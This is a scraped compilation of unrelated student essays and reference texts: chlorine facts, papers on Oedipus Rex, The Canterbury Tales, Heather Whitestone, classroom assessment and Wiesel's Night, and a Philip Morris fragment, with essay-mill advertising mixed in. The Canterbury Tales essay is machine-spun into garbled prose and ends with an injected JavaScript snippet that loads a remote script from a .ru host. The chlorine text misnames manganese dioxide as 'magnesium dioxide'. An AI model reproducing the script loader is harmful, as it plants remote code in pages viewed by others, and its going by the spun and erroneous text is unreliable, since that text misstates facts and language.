10 Chlorine Facts (Cl or Atomic Number 17)

Chlorine (element symbol Cl) is an element you encounter every day and need in order to live.  Chlorine is atomic number 17 with element symbol Cl. Fast Facts: Chlorine Symbol: ClAtomic Number: 17Appearance: Greenish-yellow gasAtomic Weight: 35.45Group: Group 17 (Halogen)Period: Period 3Electron Configuration: [Ne] 3s2  3p5Discovery: Carl Wilhelm Scheele (1774) Chlorine Facts Chlorine belongs to the halogen element group. It is the second lightest halogen, after fluorine. Like other halogens, its an extremely reactive element that readily forms the -1 anion. Because of its high reactivity, chlorine is found in compounds. Free chlorine is rare but exists as a dense, diatomic gas.Although chlorine compounds have been used by man since ancient times, pure chlorine was not produced (on purpose) until 1774 when Carl Wilhelm Scheele reacted magnesium dioxide with spiritus salis (now known as hydrochloric acid) to form chlorine gas. Scheele did not recognize this gas as a new element, instead believing it to contain oxygen. It wasnt until 1811 that Sir Humphry Davy determined the gas was, in fact, a previously unidentified element. Davy gave chlorine its name.Pure chlorine is a greenish-yellow gas or liquid with a distinctive odor (like chlorine bleach). The element name comes from its color. The Greek word chloros means greenish-yellow.Chlorine is the 3rd most abundant element in the ocean (about 1.9% by mass) and 21st most abundant element in the Earths crust.There is so much chlorine in the Earths oceans that it would weigh 5x more than our present atmosphere if it were somehow suddenly released as a gas.Chlorine is essential for living organisms. In the human body, its found as the chloride ion, where it regulates osmotic pressure and pH and aids digestion in the stomach. The element is usually obtained by eating salt, which is sodium chloride (NaCl). While its needed for survival, pure chlorine is extremely toxic. The gas irritates the respiratory system, skin, and eyes. Exposure to 1 part per thousand in air may cause death. Since many household chemicals contain chlorine compounds, its risky to mix them because toxic gases may be released. In particular, its important to avoid mixing chlorine bleach with vinegar, ammonia, alcohol, or acetone.Because chlorine gas is toxic and because its heavier than air, it was used as a chemical we apon. The first use was in 1915 by the Germans in World War I. Later, the gas was also used by the Western Allies. The effectiveness of the gas was limited because its strong odor and distinctive color alerted troops to its presence. Soldiers could protect themselves from the gas by seeking higher ground and breathing through damp cloth since chlorine dissolves in water.Pure chlorine is obtained primarily by electrolysis of saltwater. Chlorine is used to make drinking water safe, for bleaching, disinfection, textile processing, and to make numerous compounds. The compounds include chlorates, chloroform, synthetic rubber, carbon tetrachloride, and polyvinyl chloride. Chlorine compounds are used in medicines, plastics, antiseptics, insecticides, food, paint, solvents, and many other products. While chlorine is still used in refrigerants, the number of chlorofluorocarbons (CFCs) released into the environment has dramatically declined. These compounds are believed to have contributed si gnificantly to the destruction of the ozone layer.Natural chlorine consists of two stable isotopes: chlorine-35 and chlorine-37. Chlorine-35 accounts for 76% of the natural abundance of the element, with chlorine-37 making up the other 24% of the element. Numerous radioactive isotopes of chlorine have been produced.The first chain reaction to be discovered was a chemical reaction involving chlorine, not a nuclear reaction, as you might expect. In 1913, Max Bodenstein observed a mixture of chlorine gas and hydrogen gas exploded upon exposure to light. Walther Nernst explained the chain reaction mechanism for this phenomenon in 1918. Chlorine is made in stars via the oxygen-burning and silicon-burning processes. Sources Greenwood, Norman N.; Earnshaw, Alan (1997). Chemistry of the Elements (2nd ed.). Butterworth-Heinemann. ISBN 0-08-037941-9.Weast, Robert (1984). CRC, Handbook of Chemistry and Physics. Boca Raton, Florida: Chemical Rubber Company Publishing. pp. E110. ISBN 0-8493-0464-4.Weeks, Mary Elvira (1932). The discovery of the elements. XVII. The halogen family. Journal of Chemical Education. 9 (11): 1915. doi:10.1021/ed009p1915Winder, Chris (2001). The Toxicology of Chlorine. Environmental Research. 85 (2): 105–14. doi:10.1006/enrs.2000.4110

Literature Compare and Contrast - Literary Devices

Literature: Compare and Contrast Literary Devices Kathy J. Shannon University of Phoenix Mickeal M. Donald, Instructor September 3, 2010 Compare and Contrast Literature offers a variety of literary works by authors of all ages, writing non-fiction and fictional stories, poetry, and essays. The act of analyzing two different authors by both comparing their work and isolating their contrasting elements, can be difficult, yet rewarding. Oedipus Rex (Sophocles), written in 429 B.C., offers the authors use of Greek Mythology, oracles, Greek gods, deception, and murder. Throughout the series of events, the reader is given clues to the true identity of the murderer resulting in a traumatic climax. Sophocles writes with certainty†¦show more content†¦Is it just pride that causes the relentless drive to please the people of Thebes for Oedipus? Perplexed at where to begin to find the person or persons responsible for this evil, Oedipus turns to Choragos, leader of the Chorus, for direction. At the suggestion of Choragos, Oedipus sends for the lord clairvoyant, Teiresias, to learn what he knows. Led in by a servant, the blind clairvoyant is belligerent and refuses to tell what he knows, taking it to his grave. Oedipus is furious and demands to know or he will face dire punishment. Against his will, Teiresias reveals that it is Oedipus polluting his country. This exchange is one of Sophocles use of metaphors. Oedipus accuses Teiresias of having eyes peeled for his own profit-seer blind in his craft! (Novelguide.com). Teiresias response is a sardonic reply telling Oedipus that you with your precious eyes, youre blind to the corruption of your life (Novelguide.com). Accusations surface by the king saying Creon had suggested he seek the wisdom and knowledge of Teiresias and, after these demonic accusations, they must have invented the lies to discredit the king. Oedipus, enraged, charges Creon with envy his position and power. He tells the people Creon, whom he trusted and believed to be his friend, wants to destroy him to take his place as king. In his defense, Creon faces Oedipus, and his absurd fin ger-pointing, by passionately denying everyShow MoreRelatedEssay on Shakespeare: A Literary Grandmaster699 Words   |  3 Pagessimply become the father of English literature. To be coined such a grandiose title requires the approval of many, and especially the king of England. Although an entertaining storyline does earn one respect as a writer/poet. It was Shakespeare’s masterful use of literary devices that garners the respect and acknowledgement of many modern day professors. In Act 3, Scene 1, Hamlet begins a soliloquy in which Shakespeare showcases his literary genius. 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The Caterbury Tales Essay Research Paper When free essay sample

The Caterbury Tales Essay, Research Paper When thought of the figures in the church, they are thought to be loyal, respectful, giving, and dedicated. Sadly to state this, but non all figures follow that description. In # 8220 ; The Canterbury Tales # 8221 ; , Chaucer shows the corruptness of the church in the medieval period through some of his characters, peculiarly through the Nun, the Monk, and the Friar. Yet, Chaucer does demo one character, the Parson, as goodness and sanctity in the church. Nuns are member of a spiritual order for adult females, populating in a convent under vows of poorness, celibacy, and obeisance. Their orders vary in the judicial admissions of the vows, some being lasting, and others merely for fixed periods of clip. The orders vary in frock, intent, and regulation, but by and large follow the same basic rules. The nuns are devoted to a strictly brooding life or to a life of charity, including learning and nursing. The caput of convent is addressed by a figure of different names including mother superior, abbess, and mother superior, and a nun is by and large addressed as # 8220 ; Sister. # 8221 ; Madam Eglantyne is non all what she is expected to be. Even though her smiling may be # 8220 ; really simple and demure # 8221 ; ( Prologue, 123 ) , she is non into the life of charity or wholly giving herself to God. She owned small Canis familiariss and cried when one of them died. She is yeasty and is # 8220 ; really entertaining, pleasant, and friendly in her ways # 8221 ; ( Prologue, 141-142 ) . She has rose-colored cheeks with a broad brow, which in these times is thought of a mark of beauty. She wears # 8220 ; a coral bangle on her arm # 8221 ; ( Prologue, 162 ) with gaudies, big praying beads, and a # 8220 ; aureate broach of brightest shininess # 8221 ; ( Prologue, 164 ) with a sculpted Crown stating # 8220 ; amor vincit omnia # 8221 ; ( Prologue, 166 ) significance Love conquers all. Worldly ownerships are non allowed for nuns to hold yet she has a Canis familiaris, a bangle and a broach. One positive point is that she does hold a clean oral cavity and tickers what she says. Monks have abandoned the universe for spiritual grounds and give their lives, either individually or in a community, to religious flawlessness. The vows of celibacy, poorness, and obeisance under which they live, are termed the spiritual advocates. A individual bound by such vows is known as a spiritual. gt ; Chaucer # 8217 ; s Monk # 8217 ; s athletics was runing. # 8220 ; The Rule of good Saint Benet or Saint Maur # 8221 ; ( Prologue, 177 ) says # 8220 ; huntsmans are non holy work forces # 8221 ; ( Prologue, 182 ) . He does non maintain to his surveies, but alternatively would instead be making labour. In add-on, he holds worldly ownerships, such as his # 8220 ; wrought-gold cunningly fashioned pin # 8221 ; ( Prologue, 200 ) , which shows that he has money. Friars differ from monastics, in that the monastic was attached to a specific community within which he led a withdrawn life, holding no direct contact with the secular universe. Friars, on the other manus, belonged to no peculiar cloistered house, but to a general order and worked as an person in the non-religious universe. Therefore, mendicants and monastics are non on synonymous footings. Friars are members of certain spiritual orders who pattern the rules of cloistered life and give themselves to the service of humanity in the secular universe. Originally, their regulations forbid keeping either community or personal belongings. The ensuing dependance of mendicants on voluntary parts in order to populate, caused them to be known as mendicant orders. Charging people to hear their confessions is wholly pathetic. Peoples come to them for aid, and in this instance, the Friar is selfish and can merely believe about wealths. The Friar frocks like a Catholic Pope, or a physician would hold in those yearss. He carries around a pocket knife. What would he necessitate that for? He pushes off the sick and mendicants. He has a beautiful voice and is married. Besides, he is believed to be playful and may kip around with other adult females. The Parson is known as # 8220 ; a holy-minded adult male of good fame # 8221 ; ( Prologue, 487 ) . He had small money, yet he gave what small he had to the hapless. The Parson # 8220 ; genuinely knew Christ # 8217 ; s Gospel and would prophesy it # 8221 ; ( Prologue, 491 ) . # 8220 ; Never disdainful, neer to proud or ticket, but was discreet in instruction and benign. # 8221 ; ( Prologue, 525-526 ) He was the theoretical account of what a figure in the church should be like. The church figures of mediaeval times may hold been making incorrect and been selfish. But at least there is some that did good, such as the Parsons. He is the function theoretical account to be followed, non the Nun, Monk, or the Friar. Chaucer shows how the church was in Medieval times in his Prologue of # 8220 ; The Canterbury Tales. # 8221 ; ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Miss America- Heather Whitestone Essay Example

Miss America- Heather Whitestone Paper When she was 5 years old, she began to do ballet lessons. Her mother wanted her to understand that theres natural rhythm in the voice. The fluctuations of ballet music and movement helped her grasp that. With her talent and extensive training, Heather was good enough to become a professional dancer. But the professional dancer gets meager paychecks and would have to live with her mother. She wanted to be Independent. At the next pageant, Miss Jacksonville State University, she was upfront about being deaf. She asked the Judges to speak slowly and they accommodated her. She won the 1 992 Miss Jacksonville State University title and went on to be 1st runner up to Miss Alabama 1 992, Kim Wimpier. The following year she won the MISS Point Mallard competition and once again, placed 1st runner up to Miss Alabama, Sally Chapman. After she became Miss America, she showed much dedication to the Deaf Community by serving on the executive board for the Presidents Committee on Employment of People with Disabilities. She helped establish a multimedia public service campaign to help identify early hearing loss. She was also a spokesperson for the Helen Keller Eye Research Foundation and the Starkey Hearing Aid Foundation. Now, she is married to a guy named John McCollum. We will write a custom essay sample on Miss America- Heather Whitestone specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Miss America- Heather Whitestone specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Miss America- Heather Whitestone specifically for you FOR ONLY $16.38 $13.9/page Hire Writer She met him while he was working for the Speaker of the House, Newt Ignoring in Washington DC and they dint start dating seriously until a month after she gave up her title, and then soon after that they got engaged. They got married on June, 8th, 1996. They have now had two boys and are living in Georgia. I think Heather Whetstone is a great inspiration to the world because she definitely showed everyone that a deaf person can talk, can achieve and is able to do anything. Thats why I admired her so much, because it shows me that any deaf person including me can accomplish anything.

Assessment and Learning Essays

Assessment and Learning Essays Assessment and Learning Essay Assessment and Learning Essay Assessment and learning Assignment 1 Student results are used to review the quality and standards of teaching within the college. My students do a Btec level 2 which is graded from a pass to distinction based on the level of criteria the student achieve during each assignment. The students also do an NVQ in sport excellence. This is also graded from a pass to distinction depending on the quality of work provided through the year. The students Btec work is marked by me using the criteria which has been set by Btec. Each assignment is marked and then an overall grade is give to each unit which has been studied. The students work is also marked by an internal verifier who ensures I am marking the work correctly and giving the grades in accordance to the standards which are set by Btec. This verification also ensures that all teachers are marking consistently at the same level in the same course in different lessons. The college use these pass grades and course completion rates to assess the quality of teaching in th e college so if the grades start to slip the college can give assistance to the teachers where necessary. The college also use these grades and pass rates to market the college and maintain the profile of the courses within the college. The course work is also externally verified by Btec to ensure the college marks work to the same standard as other colleges in the country this means that anyone who passes the course will be consistent with others in the country. The college runs a SAR which the teacher can use to review the students progress through the year. The success rates of each student is important to the college as it shows that the standards are consistent and the pass rates will be achieved at the end of the year. If a teacher feels that students are not going to achieve the necessary standards the heads of department will have to look at the scheme of work and how the lessons are being implemented. The college will assist with any changes that may be required as the course could ultimately be dropped if standards are not achieved. The college has an OFSTED inspection which reviews the colleges overall performance. OFSTED report on all aspects of the college from the teaching to the administration of all departments. This inspection is done in every college across the country and OFSTED report on the necessary improvements which need to be made in each college. This is done in order to maintain the national standards of all subjects that are available at college. If the college drops below the national average then OFSTED have to assist the college in increasing the teaching standards within the college to improve the standards. Fair The purpose of the assignment was to determine the progress of learners and to provide adequate feedback that will motivate and assist their development. It was a formative assessment to gain an idea of the current abilities of learners and therefore did not contribute to their final grade. Also it was not constrained by time therefore making it less stressful as opposed to undertaking a summative assessment. iii. The assignment was appropriate for the learners to undertake as it was based on lessons and work that had been carried out previously during the academic year therefore students already had the necessary knowledge and skills to complete assignment. Careful consideration was taken when creating assignment to ensure that what was being assessed matched with what learners had previously learnt. It was vital to make the assignment a practical exercise that accurately measures the competence of learners as this approach was a requirement by the awarding body Edexcel. Using the competence approach of assessment gave learners an insight to the conditions and skills closely related to that of the IT industry. (Get a quote Reference: Anne Cox and Harriet Harper (2000), Planning Teaching and Assessing Learning, London, Greenwich University Press p73) Adjustments were made on the diverse needs of learners to ensure that all learners had equal access and opportunity to complete the assignment. Learners with a disability were given extended time to complete the assignment and had the option of getting assistance from a learning support worker. According to Keeley browne 2007 all educational institutions have had a responsibility to make reasonable adjustments for learners who have a diagnosed learning difficulty or disability and where approrpraite make adjustments to the way they are assessed. Assignment was done within lessons that took place within the IT labs therefore all learners had access to the resources necessary to complete assignment such as Computer, software, internet access etc. Task 3 In education feedback is a very useful tool that is used to assist in the development of learners. The general aims of providing feedback are to encourage learners, correct errors improve performance and reward or penalise certain behaviours (Haines 2004). The manner feedback is communicated to learners can have a positive or negative effect on the students moral, confidence and ultimately their learning experience. Any criticisms of learners work must be constructive in an attempt to encourage, motivate, and highlight areas for concern whilst focus on positives to improve the learning experience. Giving feedback to learners on their work can be done either in a written or verbal format; however the approach used is dependent on the assessment method, and the outcome/results of the assessment. For example if there is a common problem that majority of students have expressed then a verbal group feedback session could be adopted. In this approach to giving feedback, the teacher gives feedback to the whole class. Browne 2007 states that this type of feedback requires thoughtful planning and should be done prior to returning marked assessment in the form of a short introductory part of a teaching lesson. A feedback mechanism that encourages constructive feedback is the feedback sandwich. Docheff (1990) cited in F Butler describes the feedback sandwich as an effective model that comprises of reinforcing informational and motivational phrases. This approach is very useful as it gives learners an indication that they are heading in the right direction, provides critical information on performance; highlighting both strengths and weaknesses and finally encourages learners. Another approach of issuing feedback to learners is the use of feedback sheets with handwritten comments on learners assessed work. According to (Rece) this is an example of a type of written feedback. The use of comments in giving feedback is widely used within education and can be applied to essays, reports, dissertations etc. This is a very effective way of giving feedback as the comments are linked directly to the assessment criteria giving the students a clear understanding on the outcome of their work and any problems in a particular area of the assignment. An example of a comment could be You have carried out an extensive review however wider reading is required on the subject area. The feedback is therefore personalised and tailored to each individual learner. This approach of giving feedback is beneficial for learners as it can be repeatedly reviewed and learners can use it as a point of reference as opposed to verbal feedback. The disadvantage to handwritten comments is that it can be an exhaustive process for teachers to personalise comments to each individual learner. In the process of target setting learners should have an active role as it demonstrates a level of responsibility and accountability for their learning. Targets set should be specific, measurable, attainable, realistic and timely (SMART), and agreed on by both the teacher and student. Within learning institutions a typical example of target setting occurs at the beginning of the academic year in the form of Individual learning plans (ILPs). According to Browne 2007 it is a planned route that takes into consideration the needs and abilities of learners to achieve success. The use of ILPs is beneficial as it serves as a guide to what work needs to be completed, and a way of tracking and logging learners progress i.e. outcomes and action plans. Meeting targets can improve the confidence levels and morale of learners; however those who are unsuccessful should be given appropriate support in the form of feedback to acknowledge their errors and ways of improving. Task 4 Continuing to develop ones teaching practice is an integral part of a teachersâ„ ¢ profession. It is important to maintain and acquire new skills to ensure that learners receive a high standard or quality of education. There are a wide range of resources available to teachers that can assist in improving knowledge and skills on assessment issues. A teacher may wish to improve on giving constructive feedback or learn how to create valid, relevant, fair assessments. A very useful approach is to update your skills and knowledge of assessment by researching using books or material available on the World Wide Web. There is a vast amount of books and online material dedicated to providing information on assessment topics e.g. Training to teach in the learning and skills sector by Liz Keeley Browne or tda.gov.uk website. Training to teach in the learning and skills sector provides detailed information on the various types of assessment, designing assessment tasks, using feedback to help learners improve and record keeping. This book is very helpful as it provides templates of assessment tasks, and tests your understanding by using short tasks/exercises. The use of books and online material to enhance your teaching practice is beneficial as it is cost effective, can learn at own pace, provides theory that can be experimented within lessons; however a disadvantage is that it is not practical based and you may find difficulties transferring theory into practice. Learning by observing an experienced teacher such as your mentor is another way of improving your teaching practice. This can be done though observing a teacher issuing coursework or giving feedback to learners, view samples of assessments he/she has issued and seeking advice through discussions. This approach to developing as a teacher is hugely significant as you are able to receive suggestions and advice from an experienced professional and it also improves communication amongst colleagues. Further study or undertaking a course that solely focuses on assessment is a good way of developing. The University of Cambridge offers a course called the certificate of education in the principles and practice of assessment. This is a good way of improving as you obtain knowledge of assessment from specialists whilst receiving a recognised qualification; however it can be an expensive option as the course fee is ?760 per course or ?2210 for three courses. Source (https://cpdsearch.tda.gov.uk/ProvisionDetail.aspxe=fQCguFY5tkyDmYHsxSnw6PN1ukni+elx) Another route available to improve professionally with regards to assessment is to become a marker/examiner for examinations boards such as OCR. A key advantage to this approach is that you do not have to be a qualified teacher to become a marker; however good communication skills and a level 4 qualification, such as a degree is a requirement. Moderation is done frequently throughout the year typically January, June and March (put in Source OCR website and is a good source of earning an extra income whilst providing practical experience of marking learners work. References Armitage. A; Renwick M. (2008) Assessment in FE : a practical guide for lecturers, The Essential FE Toolkit Series, London, Continuum: pp70-80

Sample of The Theme of Adolescence in the Book Night by Elie Wiesel

Sample of The Theme of Adolescence in the Book Night by Elie Wiesel in order to emphasize the contrast between the good and the evil, as well as lifes fragility. For Elie Wiesel choosing a perspective of a teenagers vision of Holocaust horrors is not merely a literary technique, but a terrifying memory of his own life. This is why the theme of adolescence and learning is so closely related to experiences of death and violence. The main character, Eliezer, comes from Hungary but ethnically he is Jewish, like the author. In fact, he is almost a complete alter-ego of Elie Wiesel, as he tells his personal story making only the minor changes. He belongs to a family where spirituality is an important aspect; and from his early years Eliezer studies Tora. In fact, religious studies are not a punishment for him, like for many children; he takes sincere interest in them and is a true believer of God. At the point when the story takes place, the boy is in his teens. The narration is made in the first person, so the reader cannot see the whole context apart from Eliezers perspective, but this makes the story more confessional. Besides, small details elicited from his narration tell the truth about the whole pattern. Indeed, this picture is horrible. The family of Eliezer has to pass through several circles of hell when moving to its very center. With each step it seems that the situation can be worse, but it appears that hell has different degrees of monstrosity. At first, Eliezer and his family are captured by fascists and deported to Birkenau, which is a passage to Auschwitz. At this point the female and male parts of the family are separated forever, which is only a beginning of a tragedy. He and his father have to pass through a procedure, which will determine their fate to live and work or to die. They pass this evaluation but it takes much fear and humiliation imprinted in Eliezers teenage soul. Pure and deeply religious, having a genuine trust for the world, he suddenly discovers that his ideals of humanity are undermined, and that God does not see the suffering of his people. The most important theme in Night is that of theodicy: the struggle to believe in God's justice and goodness whe n the world created by the Deity is so filled with evil. The boy, Eliezer, lived in a Jewish world, where God was loved and the people were peaceful and good (Sternlicht, 2003, p. 35). It takes courage and determination to survive physically, but it is much more difficult to keep faith that gives sense to living. The story about living in Auschwitz deals much with the good and the evil aspects of the human nature. The degree of cruelty is beyond the limits that a normal human can bear. However, it is not only cruelty of the Nazis that is discussed in the book; the author recollects and explores how violence affects the victims and whether it is contagious. There is no single answer to the question, because people act in different ways. Many of them realize that mutual care and support is the only way to survive, because humanity is the main feature that distinguishes people from other creatures. However, there are people whose spirit is broken so much that animal instincts of survival switch on leaving all human feelings aside. Such people become violent to their own family members and friends just for the sake of their own living. The vividly depicted apocalyptic abominations of the Germans, a supposedly civilized people, cause Eliezer and Wiesel to lose faith not only in God's goodness, but also in humankind's capacity for goodness. Most often, they reduce human beings to animal-like savagery as they struggle to save themselves. We are not saints. (Sternlicht, 2003, p. 36).When watching this, Eliezer gets experience about the world, about different ways that people choose in their existence. He and his father are among those who try to oppose violence, yet the boy discovers that he seems to love his human touch too. No matter how hard he tries to save his father, he fails to do so and he dies in Buchenwald. This is the final blow to Eliezer, whose faith is broken. His body survives but his soul is empty. This experience has made him an adult very quickly but it destroyed the inner carcass of his relationship with God. The true bond to the essence of existence is lost and the previous communication does not exist any longer. Besides, he takes the relationship between a father and a son as something special, which reflects the idea of God as father. Now only his father is gone, but also an important part of his life. In conclusion, it is worth saying that the book Night is far from being a typical story of a teenager. The horrors faced by the main character make it impossible for him to think of small problems of adolescence; instead, he has to start thinking about the global values of humanity. In order to survive, he has to go through moral and physical torture, death of his father and break of his intimate bond with God. The author demonstrates that violence gives birth to violence, so staying human is the major challenge for a person.

Phillip Morris Assignment Example | Topics and Well Written Essays - 250 words

Phillip Morris - Assignment Example g stern regulations and enforcement measures to address illicit trade such as tracking, tracing, labeling, recordkeeping, and liaising with governments on precise agreements, aimed at addressing the illegal trade in cigarettes. In order to adapt to this regulatory force, Phillip has developed an international system that tracks and traces both tobacco products and the manufacturing equipment. In addition, Phillip controls the supply chain by curbing illicit trade. Phillip has researched on the risk related to the products with the main goal being developing methods to assess if a product has the likelihood of reducing disease related to smoking. Phillip also educates the consumers on the effects of the products causing heart disease, lung cancer, and chronic bronchitis. He also warns that smoking is addictive and becomes hard to quit. In future, this force will be fully effective since illicit trade in cigarettes harms both the consumers and manufactures. This will in turn reduce the trade in illicit cigarettes. Philip Morris needs to analyze the effects of such processes on the success of the company. 1. The implementation of company policies has improved the stature of the organization. This is by creating a distinct way of addressing issues. Furthermore, research gives insight into the development of modern